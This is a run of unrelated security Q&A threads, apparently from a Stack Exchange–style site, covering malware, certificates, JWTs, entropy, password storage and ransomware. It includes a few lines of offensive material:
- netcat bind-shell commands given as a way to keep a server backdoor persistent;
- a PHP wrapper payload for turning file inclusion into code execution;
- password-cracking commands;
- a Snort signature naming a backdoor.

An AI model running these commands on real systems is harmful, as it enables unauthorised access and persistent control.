This is a rather broad question with a deceptive title. The short answer: HIGHLY unlikely your iPhone is the cause of your machine becoming infected. I will answer WHY I make this statement. The instances of iPhone based malware are pale in comparison to say Android, irrelevant, but true. To explain this, one need understand that in order to sell ANYTHING via Apple's iStore, a developer needs to pay fees, provide EXTENSIVE identification papers (license, state ID, etc).

Even if you were using say an Android it is STILL unlikely your phone is the medium. Further explanation on this: So a virus/malware author makes an Android based piece of malware. You have an APK, maybe some bad java/javascripts, these affect the infected device. The calls the malware will make, are targeted. So Android based malware would NEVER run on say Windows.

Now before someone states: "You're wrong" let me clarify this... Neither Android, nor iPhone based malware WILL RUN on a Windows machine. However, a dropper will. A dropped will/can go out to the internet and get a specific piece of malware of disaffect the infected machine. For example:

Dropper --> hey what kind of machine am I on? --> save to POST --> POST to C&C
C&C --> oh, alright so you need this version ... here download it

Now let's look at the premise of what you asked: "Can someone on my phone, copy itself to a shared drive... Then execute to infect?" Highly unlikely. Most malware authors tend to target that which they are good at. This means, most authors targeting say iPhones, are going to usually stick with targeting iPhones (cocoa, etc., whatever they're familiar with). Unlikely they'd risk detection by 1) exploiting an iPhone, only to shove in Windows based executables which would trigger all sorts of warnings causing detection quicker.

Pretty long answer so far. Now the initial (root case) of the question is: "How am I getting infected." Without knowing WHAT it was you got infected by (e.g. ZBot, Zues, NIMDA, SDBOT, etc.) anything else answered is kind of moot. You can get infected by many things, visiting a site, XSS, USB keys, and so on.


Using a verified certificate to sign others This relates to PKI and certificates generally but websites more specifically.

Could you get a verified certificate from a CA that is signed and fine for use, and then use it to sign your own certificates as verified. As far as I understand it, the PKI chain is still valid, there is a CA, my verified certificate, and sub certificates verified by mine.

This is mainly for a personal project and a bit of theory but I'm not sure what I'm missing here, as I'm sure it's not possible, it'd be a big money loser for the CAs. I understand the concept of self-signing, and that's probably what I'll go with for multiple certificates. But why can't you just get your personal root cert that you're signing with verified by the CA and complete the chain for browsers?

For a certificate to be valid as an intermediate CA (i.e. as part of a chain of certificate, and not at the end -- that's what you propose to do), it must have a Basic Constraints extension with the cA flag set to TRUE. Otherwise, system which verify the chain (e.g. Web browsers, when validating a server's certificate) will reject the chain. See RFC 5280, sections 4.2.1.9 and 6.1.4 (item 'k'). Commercial CA can sell you a certificate with the cA flag set to true, but this will typically not be cheap. "Normal" certificates (the ones which can be afforded by individuals) have the cA flag set to false.

Note that up to circa 2003, Internet Explorer was failing to verify the cA flag, and your scheme would have worked. This was a huge security hole, of course, because anybody could then act as a pseudo-CA and issue certificates with any name in it.


Brute force HMAC SHA256 (HS256） equals to break JSON web token signature? The format of JSON Web Token is:

encoded (header). encoded(payload). signature with a secret (for example, use sha256 to sign).

In case of hmac sha256 (HS256)-selected JWT, if the secret is not long and complex enough (e.g: "abc123"):

Is it possible to brute force this token signature? (do not consider wrong signature upper limit)
How is the difficulty to brute-force sh256?
In JWT, break SH256 secret = successfully replicate the signature? (do not consider additional encryption)

Yes. If you crack the secret key used in the SHA256 signing you can create arbitrary JWT's yourself. The signature is a SHA256 HMAC, which does three two SHA256 operations, so it would be a little more than twice as slow as cracking plain SHA256. On commodity hardware you can do in the order of 10⁹ tries per second.


Discover Hidden WiFi SSID How to discover hidden SSIDs ? I know there are tool like WiGLE WiFi (Mobile) which can identify hidden SSID. How those tools are exactly working. How it is discovering hidden SSID WiFi beacons ?

Basically you just need to force a user on that network to disassociate with the wifi, then when it reconnects, the ssid will be transmitted in plain text.

Check out this guide.

http://www.thelinuxgeek.com/content/find-hidden-ssids


Resources for data on security incidents What resources exist to research data on actual security incidents?

I would prefer an online resource but offline resources are acceptable. The cost of access should be less than $100 (US) for access to a statistically significant number of incidents. I would prefer databases that include more than just media reported security incidents.

I know of one online database RISI but a membership there is $995 (US) for 3 month access to their database. Are there similar databases at a lower cost?

Ones I tend to draw on:

Verizon Data Breach Report - this is generally considered THE source on data breaches

Krebs Java Security Report - Krebs is very well respected - various studies, of which this is a grand example

WHID Security Report - also very useful

These are all freely available online, and updated versions available annually (or more often in the case of Krebs)


How to sniff bluetooth traffic to Android app? Please bare with me with this introduction to the problem. Unfortunately title might be confusing, but it's hard to came up with proper one - let me show you why.

I'm trying to decode WM-Bus (Smart meters) frame. Here is how the situation looks like:

I have:

a watermeter
device to read that meter (wm-bus <-> bluetooth)
Android application which connects to that device via bluetooth.
On PC I have a software which decodes received data (frame is encrypted, key is known to me).

Furthermore I disassembled Android Apk (source has not been obfuscated, passwords in plain text etc.), I've modified source code to log received frame (hopefully correct one, dalvik/smali), then I used adb logcat to get that data.

I have a USB wm-bus dongle connected to my PC. Via virtual serial port I'm receiving the same data (at least I think so) which goes to the device in point 1.

Here's the frame from USB Dongle:

FF 64 44 01 06 81 32 20 00 05 07 7A CD 00 60 85 C1 03 5C D8 C9 86 9A 7D 55 49 DC 3A 4B 48 AC A4 BD 95 FE 4F BA 79 EE 01 55 D7 BC A8 9D B8 E1 33 33 56 58 75 BB 8B 2E FF 1E 4A F8 41 FB 82 FF 4B 46 C9 68 5A 56 37 5D BE 4B 05 6E BE 44 16 E2 59 D6 16 A7 73 C9 E1 7E FC CA 6B 3F 15 BF 3A 21 B5 28 6B 62 73 8C FD 96 FD 35 40 F5 71 23 91 B1 B6 A1

And here's the frame from the device:

C0 02 7B D0 6C 44 01 06 81 32 20 00 05 07 47 5A 7A CD 00 00 80 0F 15 02 AB 92 08 00 08 43 36 05 F4 F1 83 00 11 51 15 02 4B 01 40 1A 26 10 A1 00 00 00 CB CB 7B 1C A1 00 00 00 A1 00 00 00 A1 00 00 00 A1 00 39 2C 00 00 A1 00 00 00 A1 00 00 00 A2 00 00 00 A2 00 10 40 00 00 A2 00 00 00 A2 00 00 00 00 00 00 00 00 00 36 A5 00 00 A0 CF BC 11 02 FF FF FF FF FF FF FF FF FF 2D CA FF 79 F4 B5 C2

Some fragments are the same, for example:

44 01 06

20 00 05 07

7A CD 00

So... I'm getting two different frames for the exact the same transmission (that I'm sure of). I'm thinking that the problem might be:

device is adding something to the frame
I'm not reading raw data (despite the fact that the variable I'm reading from is called raw frame

Messing with the device (to somehow solder wires and intercept raw data from the chip) is out of question (it's pretty expensive piece of hardware, yet there's nothing fancy on board).

I was thinking of intercepting raw data which goes to my Android phone - and that's the question - can I do that pretty simple? I was trying to log that bluetooth data, but there's a lot of traffic going on. It would be nice to have something like Wireshark to look only into the data coming in.

Anyway - I'm open to other suggestions, thoughts...

Just to clarify:
Firstly - watermeter is/has not a bluetooth device. It transmits data via wm-bus to the device (special device from the watermeter's manufacturer). That device then talks to the Android phone app via bluetooth. That app decrypt/decyphers the frame into useful data and saves it on the phone (sqlite). Later that data can be transfer onto PC.

Secondly - what I REALLY want to do is to be able to take a frame from the usb dongle (so not the official harware) and use some algorithms from decompiled Android app (read it as - make my own piece of software based on that one) to decrypt it. That's the ultimate goal. I'm just somewhere in the middle and I don't know exactly how to push forward.

Given that you discarded hardware modifications, to sniff the bluetooth packets you would need to either:

Install something like Wireshark on your phone, this would probably require root privileges.
Have some device like Ubertooth that allows you to sniff the communication between the watermeter and the android app

I'm not sure if the Ubertooth device supports every bluetooth version out there. And the wireshark-like app is only possible if you have root privileges on your phone, which may or may not be the case.

I'm not sure what is your objective on this task, but I think that whatever you're trying to do is probably easier to do installing a modified version of the APK, for example to include a Frida gadget and then interact with the app in runtime to log whatever messages are being sent

In this way you can get the information that is being transmited directly from the application if this is the only thing you need. Or if you want to actually decode the bluetooth packets on the fly you can use this to start decoding them using the ubertooth mentioned earlier or another device


How should I store a password to allow people to enter single characters from it? Possible Duplicate:
  How do some sites (e.g. online banks) only ask for specific characters from a password without storing it as plaintext?

Some banking applications ask for random letters from your password, the 3rd, 5th and 6th letters for example.

Presumably this is to limit the effectiveness of sniffing the network traffic or keylogging to get password information.

I was wondering how this information is likely stored so that they are able to see individual characters in the password but presumably have them stored in a secure way?

Would each character get salted and hashed? If so would each get stored in different columns of a table? Or would each three letter permutation of the password characters get stored in a table unique to the user?

I don't know, but I don't think a hash is practical here. Sure you can make a hash of one letter, but it's incredibly easy to brute-force if it ever leaks (like, a few microseconds at most); under 100 possibilities. Also storing all 3-char permutations hashed would be too easy to reverse.

It's actually interesting to consider this system from this angle. Usually you're calculating how many login attempts you would need in a worst- and best-case before an attacker knows the full password (or is able to login within 3 attempts), or how much security this system adds anyway (with MITM an attacker can still login). I never thought about what it meant for storing the login, and it's not looking good.


Storing passwords and other data for coworkers At the moment we are encrypting our server passwords and other important data internal via PGP. Every coworker has got his/her own private key/pass combination set up on their workstation. The problem is now, when a new coworker comes into play, we have to decrypt and encrypt everything again, including his public key. Depending on how much access the coworker gets and how often new coworkers join the team (or leave, so we may set new passwords), this process is getting heavier and heavier.

We would like to change our system in giving access to certain passwords/data (there are hundreds!) to coworkers and remove this overhead with re-encrypting all data over and over again.

But! The level of safety shall not be touched (4096 bit RSA Keys)!

All coworkers are entirely working with linux boxes, administered by themselves (mostly Ubuntu, Debian installs).

Any ideas are very much appreciated.

Your current arrangement sounds like a shared password keystore.

Your problem is essentially the difference between centralised and decentralised access control:

When access control is per server or service, the maintenance of the access control is centralised per service and reflects an effort of O(N) where N = amount of services for the company.
When access control is per person, the maintenance of the access control is decentralised from the standpoint of ICT assets and reflects an effort of O(N) where N = amount of staff for the company.

It is likely that the amount of services you initially had grew faster than the amount of staff and hence the second option was more appealing.

But now the amount of staff or turnover of the staff is higher than the amount of services and is costing you more to maintain than server/service-based access control lists would. The tipping point being O(N).services + O(1).service versus O(N).people + O(1).people as the initial O(1) overhead of each new service or person would have masked the long term shift in effort.

So it becomes a question of security vs your company's shared work culture. You can shift across to the now possibly cheaper server and service access control approach, and you will gain additional auditing benefits in the process; but the shift will require a lot of migration effort and a hierarchical "unflattening" of your company's work culture.

If we go back to the days of physical keys and filing cabinets, the difference is between the team all sharing the same cabinet key versus just a couple of people having the cabinet key.

I don't think you have much of a choice regarding a shift towards to server/service ACLs once you have more staff or role volatility than servers - but you can reduce the ACL overhead through systematic use of client certificates:

Convert their RSA key pairs into self-signed client certificates.
Add or remove their public certificate from servers and services directly or from a centralised role-based LDAPS authentication service.
(Optional) Convert key pairs into certificates signed by the company private Root CA to enforce routine expiration and stop people from generating access credentials you are unaware of (i.e. breaking the audit chain).

Client certificates have the benefit of being more secure than passwords and having a wide range of embedded meta-data without needing real-time access to the LDAP server.


Is CAPTCHA enough to prevent attackers from draining entropy pool? I'm working on a website which necessitates the use of server generated codes, which are displayed once to the user and then stored in a database.

I plan on using /dev/urandom as a source of entropy to ensure that the pseudorandom codes are cryptographically secure, as it is crucial that future codes are not predictable.

But I am concerned that someone could repeatedly generate codes, drain the entropy pool, and thus be able to predict future codes. Will requiring the user to solve a CAPTCHA in order to generate a single code be sufficient to prevent this form of attack?

I'm not aware of any publicly known attack on predicting future output of /dev/urandom, no matter how much previous data you have already seen from it. It would be possible in theory, that such an attack exists, though. If such an attack exists, it will almost certainly require vast amounts of output in order to make a prediction. Probably much more data than an attacker would be able to extract without bringing down your server or network first.

There are a few other factors that work in your favor and against a hypothetical attacker.

Linux' entropy pool is fed by non-deterministic events such as the timing of network packets. In order to query your server, an attacker has to create network traffic. Since the traffic will go over multiple routers that are not under the control of the attacker, it seems highly unlikely that they will be able to predict the arrival times reliably. Therefore, the attack defeats itself by filling the entropy pool as it is trying to drain it.

Modern x86 CPUs have special instructions (RDRAND) to retrieve physical entropy at an extremely high rate. As the Intel documentation says,

  The [all-digital Entropy Source] runs asynchronously on a self-timed circuit and uses thermal noise within the silicon to output a random stream of bits at the rate of 3 GHz.

While a fast CPU could consume random words at an even higher rate in which case the CPU would fall back to a partially deterministic generator, it is safe to assume that your application won't send out critical data at over 358 MiB/s (equivalent to 3 × 109 bits per second).

Linux' entropy pool mixes in the entropy obtained by RDRAND where it is available. This is done in a clever way such that even in the quite plausible purely conspiratorial case that Intel has put a backdoor into RDRAND on government request, it would be no worse than if the device were not used at all and probably still help somewhat.

In conclusion, I don't think that draining your entropy pool is something you should be concerned about too much at this point. If you still are, there are less obtrusive ways than having your users solve CAPTCHAs.

For one, you could artificially rate-limit your code generator. If you only allow, say, one code per second and IP, your service will still be fast enough for legitimate use but make extraction considerably harder.

In addition, note that /dev/random and /dev/urandom are not only readable but also writable.  From the man page:

  Writing to /dev/random or /dev/urandom will update the entropy pool with the data written, but this will not result in a higher entropy count. This means that it will impact the contents read from both files, but it will not make reads from /dev/random faster.

Hence, instead of showing the CAPTCHA to your users, you could write it to /dev/urandom. Of course, this only really makes sense if the CAPTCHA was generated on a different machine such as when using a service like reCAPTCHA. This advice is of course to be taken with a grain of salt. It would probably make more sense to update your entropy pool with data obtained from a service like RANDOM.ORG.

The thing you should be concerned about is that if your server was freshly booted, the internal entropy pool might not be filled yet. In this case, reading from /dev/urandom will provide poor entropy. One trick to avoid this is to have your application initially read a single byte from /dev/random which will block until the system has harvested some entropy. On systems that have RDRAND (assuming it is not backdoored), this startup issue will be benign as RDRAND needs no warm-up.

If you develop your application using a technology where you can make calls to C library functions, Linux 3.17 and later provides the getrandom syscall which should be preferred over reading from /dev/urandom as it also works if /dev/urandom is not available (for example, because your application is chroot()ed) and, more importantly, doesn't suffer from the startup issue that /dev/urandom has. (getrandom will block until the entropy pool is initially filled.)

A service like RANDOM.ORG can also be used to mitigate the low-entropy situation after startup but I would never depend on a third-party service directly for generating my random secrets. If you want to be safe, assume that everything you download is deterministic and known to an attacker. (In case that has not become clear yet, writing such data to /dev/urandom does no harm. It just doesn't do any good either.)


Is it really that unsafe to store passwords in a text file on my computer? These days, we have pretty secure systems.
I have a mac with T2 security chip and the whole disk is encrypted via FileVault.
iPhones are known to be pretty secure, with even FBI having a hard time breaking in.
Windows machines can be encrypted with BitLocker or VeraCrypt.
With these kinds of systems, is it really that unsafe to store passwords in a text file? for an average individual user?
Of course if I'm operating a server or anything like that, I would definitely need better security. But I was wondering how much security does and average individual user really need?

Yes, it is unsecure. Here are some reasons.

It can be that you installed (intentionally or not) some malware or virus, that scans your files and sends data to some external server.

It can be that your create backups to some external drive and they are not encrypted. If you lost your back up drive, somebody can get access to it.


Can an RSA signature be changed given the public key? If I were to post on a forum (with potentially malicious administrators) my public RSA key and a small string of text that was signed with the corresponding private key, could someone with access to both of these files precisely change the output of the decryption of the signed data without factoring the given modulus and reverse engineering the private key used to sign the data?

A malicious forum administrator cannot forge the signed text in such a way that it will look like it comes from your key pair.

However, a malicious forum administrator can replace both your public key and signed text, with his own public key and signed text, and display it to the person(s) you're communicating with, while still showing you your own public key and signed text so you don't notice the replacement.

Forum post is not a good way to distribute trust, especially if your life depends on it.


Client sent me an OpenPGP key; I need to generate key for SSH authentication on FTP server One of my responsibilities is the monitoring of our company's SFTP sever, and making sure our clients upload the files we need from them daily. Until now they had username/password access, but we want to migrate to public key access for security.

The client uploads encrypted files (GnuPG) that I decrypt in an automated way.

Now they sent me their public key, which is a **PGP PUBLIC KEY BLOCK**", Version: GnuPG v1.4.7. If it were an SSH public key (id_rsa.pub) I would know how to add it to authorized_keys to ensure access (as a matter of fact, this is how I connect to the SFTP server myself). However I do not know how to deal with the client's OpenPGP key. I did some research, but I haven't figured out how to use the client's key to give them access to our SFTP server.

You (or your customers) seem to be confusing a whole bunch of different concepts. First of all, SSH keys cannot be used for FTP authentication -- this is simply not specified, the protocol does not allow to do so. There is SFTP which has FTP in its name, but actually transfers files over SSH.

Then again, OpenPGP keys cannot be immediately used for SSH. While both use the same mathematical principles, the formats (and some details regarding the cryptographic "mode of operation") are different. It is possible to convert OpenPGP keys to SSH keys, but it does not seem reasonable to generate OpenPGP keys to just convert them. It is possible to configure GnuPG's gpg-agent to be used by the SSH client for authenticating with OpenPGP keys, but then again it requires even more (rather uncommon) software on the server side. While it is possible and there is quite a number of people doing exactly this (including me), I'd not expect this to be seen in a general business environment where you have no control over the customer's computers.

A common use case would be using SFTP/SCP (both based on SSH) to transfer the files and protect SSH authentication through SSH keys instead of OpenPGP keys. OpenPGP keys might be used to additionally encrypt the files, but then you'd have to share your public key (so you can decrypt using your private key).


How to increase VoIP call security? I am using VoIP for my office because I can use the same number whether I am in USA or anywhere else.

I am using it on my laptop and I have to visit India in the next few days. My friends say rules are regulations in India are not that organized and that my calls can be hacked in that country.

I have asked my VoIP provider (Axvoice) and they say their service will remain secure where ever I go (including India).

Regardless, I want to take some extra steps on my own to make data as well as my VoIP calls 100% safe. I am open to all suggestions.

If you draw back your VoIP "data path" (to use a simple name for the way the data packets may go through the internet), you'll see something like this in terms of steps:

You -> your ISP
Your ISP -> axvoice
axvoice -> wherever

You're guaranteed that axvoice->wherever is secure, through what they have said. You, however, are not guaranteed of steps 1 or 2, or at least not explicitely. You'll need to dig up the SIP defs given by Axvoice as to whether there is any form of end-to-end encryption (i.e. if the traffic all the way to you requires decryption). If there is, halleluiah. If there isn't, all is not lost: get on a VPN.


Persistent back door using Netcat I have found the following command several times in one of the linux servers during an assessment:

nc -l -p 3030 -e /bin/bash

This enables a hacker to gain control over this sever via bash.
By testing it, I realized that whenever the client interrupts the connection, the door is again closed.

Is there a way for the hacker to keep this door persistently opened?

Nc with -k option will help.

nc -l -k -p 3030 -e /bin/bash
nc -l -k -p 3030 | /bin/bash

Forces nc to stay listening for another connection after its current connection is completed. It is an error to use this option without the -l option. When used together with the -u option, the server socket is not connected and it can receive UDP datagrams from multiple hosts.


Uids in GnuPG -- 3 fields or 1 gpg2.1 allows me to do  gpg2 --quick-adduid old_id new_id.

There's no options to specify realname, email, and comment separately like in the interactive adduid.

Also, in listings, the three fields (realname, email, and comment) show up as merged into one line (realname (comment) <email>).

So are there really three fields or is it just a front?

OpenPGP’s User ID Packet is "intended to represent the name and email address of the key holder".

As a convention (not a requirement!), it uses the name-addr syntax defined in RFC 2822: Internet Message Format.

Name (Comment) <email-address@example.com> is a possible variant that conforms to this syntax.

tl;dr: It is one field. The content is formatted like that because it’s a convention.


Website security - should I hire a developer? I'm going to create a new website with Joomla! 3.

Potentially, this site will get me some money through ads but I'm a little worried about what could be done to attack it. I say a little because I'm not hoping in huge revenues and I don't think someone will try to bribe me into giving them control of my site (like it happened to the owner of the @N twitter account), but when dealing with black hats you never know.

I do not need to provide public authentication or to have people other than me input data on this website (I might accept inputs via mail and copy-paste them by hand after checking their content, since I want the writing quality to be good and consistent with the resto of the site).

I will use free Joomla! themes - the basic ones included with the standard installation might do fine.

Is there any threat that I, as a security noob who understands a little about how the Internet works (let's say just enough to understand Heartbleed), absolutely need to protect from?

Should I hire a professional developer for my project, or are there just a few things I should do to protect my site reasonably (making hacking not worth the effort) that I could learn about in, say, under a month of an 8/5 worker's free time?

The most important thing to do when you use 3rd party applications like Joomla! is to always keep them up-to-date. Most attacks are targeting vulnerabilities which were patched long ago and only hit those people who neglect updating. So create a regular reminder in your calendar to check if an update is available for Joomla (as well as any themes and plugins you are running) and install it. Updating Joomla is very simple, because it can be done from within the administration interface. You don't need any advanced IT skills to do that. But it is very important to do this regularly!

Be wary of any plugins, themes, extensions and other addons which did not release any update for a long time. It means that either that addon is perfect and has no security problems, or that the developer simply doesn't care to release any more updates to fix security vulnerabilities. But the latter case is much, much more likely. You should also check the Vulnerable Extension List regularly and avoid everything listed there.

For more information, consult the security and performance FAQ on the Joomla wiki.

This actually applies not just to an application like Joomla but to your whole software stack, from operating system to webserver to PHP to MYSQL. OS and webserver also need to be configured securely. But when you use a hosted solution, then the provider will likely take care of everything except the applications you install yourself, so you likely don't have to worry about that.

But it's a different thing when you rent a virtual server which provides you with a naked operating system (or not even that) and expects you to set up everything on your own. In that case you are responsible for updating everything. When you require this for your project, you should consider hiring someone who knows how to harden a server properly, who knows which components need to be updated and how this is done. But the person you are looking for is not a software developer. It's a system administrator.


Issuing SSL certificates for device automation software package without domain names We are developing the automation software for Windows which communicates with the certain devices via our own private connection protocol. That software package consists of several server (including HTTP) and client applications and usually runs in a private corporate environment. What most important here is the fact that usually our server components won't have the domain names (just having IP address is enough). Now we have a request to create web applications which will then communicate with our server components securely from the internet. The most obvious way to do so is HTTPS/SSL. We can do this. They question is: do the consumers of our package will need to buy SSL-certificates from a trusted CA (having a self-signed certificate is not enough)? Can the trusted CA issue a certificate just on the basis of IP address but without domain name?

I think there are two options here:

Server-side certificate - in this case you need to get one certificate on your server.  Hostname instead of IP address is a must and is very much preferable over the Internet and will save your customers a lot of hassle in the future.  There is an 'altSubject...' field in the certificate where an IP address can be entered and it will still validate.  Now, the client just need any SSL client and your cert issued by a CA trusted by the SSL client will work.
Client-side certificate - you can be the CA and issue your own certificates to all of your clients and as long as your Web server establishes the validity of the incoming client cert, it proves identity as well as confidentiality of transport.  Of course, these can be CA-issued as well.  This approach would be slightly preferable in your scenario as you would be able to revoke certs that don't pay for your software and still want to use it :)


Alternatives to bruteforce KeePass Cracker Recently I have been working on a little project. I have been able to crack my keePass .kdbx file by running a simple brute force attack with the KeePass Cracker and a custom made word list.

This is to easy. Lets say I didn't know my own password at all. Is there any other method I could approach?

If I didn't know my own password I would use a couple of word lists and hope that I get it right but is there perhaps another method more efficient in nature. Obviously social engineering is out the window.

I am exclusively using windows for this project but a Linux method will be appreciated so don't be shy.

Any suggestions will be appreciated.

  KeePass Cracker Example

KeeCracker.exe -w C:\KeeCracker\List\Word.txt C:\KeeCracker\Topsecretpasswords.kdbx

With no knowledge of password selection psychology, your options are limited. The only obvious improvement that I see is to increase attack speed by switching platforms.

Looking at the source code of KeePass Cracker, it is CPU only. You should get a lot more speed by switching to a cracker with GPU support, such as hashcat (which runs on both Windows and Linux, and supports KeePass as a target hash type).


Storing encryption key in $_SESSION vs $_COOKIE? Reading the tutorial here: https://github.com/defuse/php-encryption/blob/master/docs/Tutorial.md (scenario #2)

It is advised to store the encryption key in a session variable. I was wondering, is it safer to store the key in a cookie variable instead?

My assumption:

$_SESSION is stored in the server
$_COOKIE is stored in the client's device (browser)

Threat model:

Against employees of hosting provider snooping data
Against hackers (they will likely attack the server instead of a user's device)

Update:

Notes for clarification in comments for @SteffenUllrich. Below are the exact quotes in the tutorial.

SteffenUllrich: "Where the encrypted data are located..."

  Alice wants to host Dave's web application, including its database, on her server

SteffenUllrich: "recommendation regarding storing the key in the session.."

  save the Key object somewhere safe (like temporary memory-backed session storage)

The important thing is that key and encrypted data should not be stored at the same place, i.e. not both on disk, not both at the client side (no sending of encrypted data and storing the key in the cookie) etc. If the encrypted data remain on the server side both a cookie and a server side in-memory session object should  be safe enough. Cookies might be even safer than a server side in-memory session object because they are more temporary, i.e. the client will provide the key if needed and if not needed the key will not exist on the server at all, not even in memory.


Strange data size when generating a very large word list with Crunch While trying out the wordlist generator crunch in Kali Linux 2020.1 I came across the following behaviour:

root@kali:/home/kali# crunch 10 10 \
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890,.-:! -o chars.txt
Crunch will now generate the following amount of data: 1604471776359824323 bytes
1530143524513 MB
1494280785 GB
1459258 TB
1425 PB
Crunch will now generate the following number of lines: 1822837804551761449

root@kali:/home/kali# crunch 10 10 \
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890,.-: -o chars.txt
Crunch will now generate the following amount of data: 17251705690018753536 bytes
16452508630770 MB
16066902959 GB
15690334 TB
15322 PB
Crunch will now generate the following number of lines: 1568336880910795776

How come removing the exclamation mark blows up the calculated wordlist size to 15322PB in contrast to being 1425PB if it were to be included?

For me this very much looks like a bug in the code.

Yes, this is a bug, but not a problematic one.
crunch counts the expected number of bytes as a 64-bit integer. When you look at the number of bytes of the bottom output, you  can see that it is 17251705690018753536, which is a rather huge number.
In fact, if we take the log_2(17251705690018753536), we get 63.9..., which means that it's very close to the 64 bit overflow point, which is 18446744073709551615. By adding more characters to the wordlist, the number becomes too large for crunch to handle and it will roll over. Any subsequent output count will be useless and arbitrary.
But why is this not a problem? Simply put, because nobody makes wordlists this large. Could this be fixed? Yes, crunch could use 128-bit integers, but it would not really solve any real-world problem.


Does CVE-2017-8759 impact the web service? I saw lots of information on the impact to end user PC, but didn't see anywhere explain the impact to the cloud service. If the issue is from the SOAP WSDL parsing, seems like the web service can also be impacted right?

Looking forward to your answers.

If by „web-service“ and „the cloud service“ you mean a cloud hosted office instance (which is not what a web service is), the answer is going to be maybe, depending on wether that vulnerable parser is deployed in the product.

I couldn’t find a definitive answer to that in 5 minutes of googling; the vulnerable parser seems to be from

  Microsoft .NET Framework 2.0, 3.5, 3.5.1, 4.5.2, 4.6, 4.6.1, 4.6.2 and 4.7


Can user send fake request if it has JWT token? I developed an android application that request to a REST service for do actions!

My questions are:

If anyone trace the requests and responses, Can he get the token from headers?
Where should I store token in android client?
If I store token in somewhere like SharedPreferences and user access that He can send fake request to server! For example I have controller for submitting score like this : "http://domain.com/api/score/add" and user can make a request with token in header and post a number for score and easily submit scores for himself!

If anyone trace the requests and responses, Can he get the token from headers?

If an attacker is in a suitable position to perform a MitM (Man in the Middle) attack and is able to intercept and view the requests, then yes, they can get the token from headers. To prevent this, make sure that the REST service in use is using SSL/TLS. This will prevent MitM and replay attacks. The REST service must also make sure that these tokens are properly invalidated on the server-side once the user logs out and there should be a hard session time-out associated with these tokens.

  Where should I store token in android client?

You can store them in your application's SharedPreferences. Read this answer for more details on it.

  If I store token in somewhere like SharedPreferences and user access that He can send fake request to server!

Yes, a user can do that with their own session token. That's exactly what the token is used for. As far as accessing a limited controller is concerned, it is the responsibility of the service to make sure that the access control is proper on the server side and that user is only allowed to perform controlled requests to a particular endpoint.

The problem is, if an attacker gets hold of your valid session token, they'll be able to impersonate you on the application. But you've just made their task difficult by using SSL/TLS everywhere and by ensuring that application does not leak the session token in any way (for example, in the request URLs).


What does this snort rule mean? alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"MALWARE-BACKDOOR access remote pc runtime detection - init connection"; flow:to_server,established; content:"|99 F3 00 00 00 00 00 00 FF FF FF FF|"; depth:12; flowbits:set,AccessRemotePC_detection; flowbits:noalert; classtype:trojan-activity; sid:12142; rev:3;)

It will 'alert' on any TCP connection from an external network to an internal network (DMZ) as long as the content of the packet matches '99 F3 00 00 00 00 00 00 FF FF FF FF' (which matches the BackoffPOS 1.56 process injection module).

While there is more to the rule; depth, setting the flowbits to a pre-defined class (AccessRemotePC_detection; used for easier reporting) as well as 'classtype', in simplest terms that is your rule breakdown.


Local file inclusion to RCE Here is the code:

<?php
$file=trim($_GET['img_name']);
//echo $file;

if (file_exists($file)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename='.basename($file));
    header('Content-Transfer-Encoding: binary');
    header('Expires: 0');
    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
    header('Pragma: public');
    header('Content-Length: ' . filesize($file));
    ob_clean();
    flush();
    readfile($file);
    exit;
}
?>

Is there any possibility of RCE? I am a web developer and developing a website for my client.

Yes, it is possible e.g. using php wrappers.

A simple RCE could be done like this :

https://yoursite.com/?img_name=expect://ls

Note: This will work only if php configuration allow wrappers.

More details here : https://highon.coffee/blog/lfi-cheat-sheet/

Edit: You might need to URL encode the payload :

https://yoursite.com/?img_name=expect%2E%2F%2Fls


Ransom attacks - can I protect myself by encrypting all my files? If I encrypt all my files can I get "attacked" by ransom attacks?

Because my files are already encrypted, they cannot access them, so I should be safe or am I wrong?

Also, if someone could tell me how this encryption works, I would be really thankful.

I already read some articles on Wikipedia and it states there that the encryption does not work while booting (in the English article it's called Cold-Boot-Attack), so would it be possible to get access to the files somehow when booting? Not that I need it now, but you never know.

TLDR: Any file encryption does not protect you against Ransom Attack.

We can consider two scenarios:

You encrypt your files with some tools (e.g. encrypted zip),
You have encrypted whole partition (Truecrypt, dm-crypt etc.).

In the first case, even if you have encrypted your files they can be encrypted again by ransomware. And then you won't be able to decrypt them. Bad situation.

In the second case, ransomware lives in the computer's runtime (while you're using it), therefore it has an access to decrypted files on your computer. The disk partition is decrypted on boot up and encrypted again when you shutdown your machine. Again, bad situation.

A file encryption does not protect you against ransomware.

The Cold boot attack is a bit different story and you shouldn't consider it here to not confuse yourself.

I've tried to explain it in the easy way, I hope I helped somehow :)

To protect against ransomware you can (should!) do at least these three things:

Do not visit malicious sites.
Backup important stuff (on a separate, unplugged drive) :)
You can also install some antivirus, EMET etc. The likelihood of being successfully ransom-attacked will for sure decrease.


First string in hash collisions bucket My understanding of hashing is conceptual at best and I'm assuming things that I'm not sure of and it leads me to a question that I don't even know if it's founded or not. So please correct my statements below if anything is wrong.

The hash for a given string has a definite length and there is an infinite number of original string that can give the same hash. An example of hashing function I heard of would be modulo 5. So if an user has a password which is 6, then 11, 16, 21 and so on will also log the user in.

I'm assuming (probably wrong though) that practically the strings that give the same hash will be really far apart. Say the original password is :

hunter2

The "second" string that would fall in this bucket would be a bit longer than the entropy of the hash itself. Something like :

LKjsd!sqdJhjsd44qsd5qd5823!é"jsdfhd=qksjdkqsjdkqsjdkquy!erqsdqsdqq

So impractical that the collisions doesn't really matter since nobody would use a password like the second one and let's not even talk about the third collisions .

So my question is :

If the hash can be seen as modulo 5, what stops someone from just saying that if the value in DB is 1 then the most likely value is 6 since 11, 16, etc are impractical ?

There are different kinds of hash functions for different tasks. For hash functions which are used speed up lookups in databases the speed is important and it is usually easy to produce collisions, i.e. different inputs leading to the same outputs. Cryptographic hash functions instead are designed so that collisions are only very hard to found, that means too hard to be found with the computer power available in the next years.

  If the hash can be seen as modulo 5 ...

While this might be a simplification usable for simple hashes it does not model cryptographic hash functions. These can more be seen as a kind of function where it is easy to compute the hash value but too hard to find an input which will produce a specific hash value.


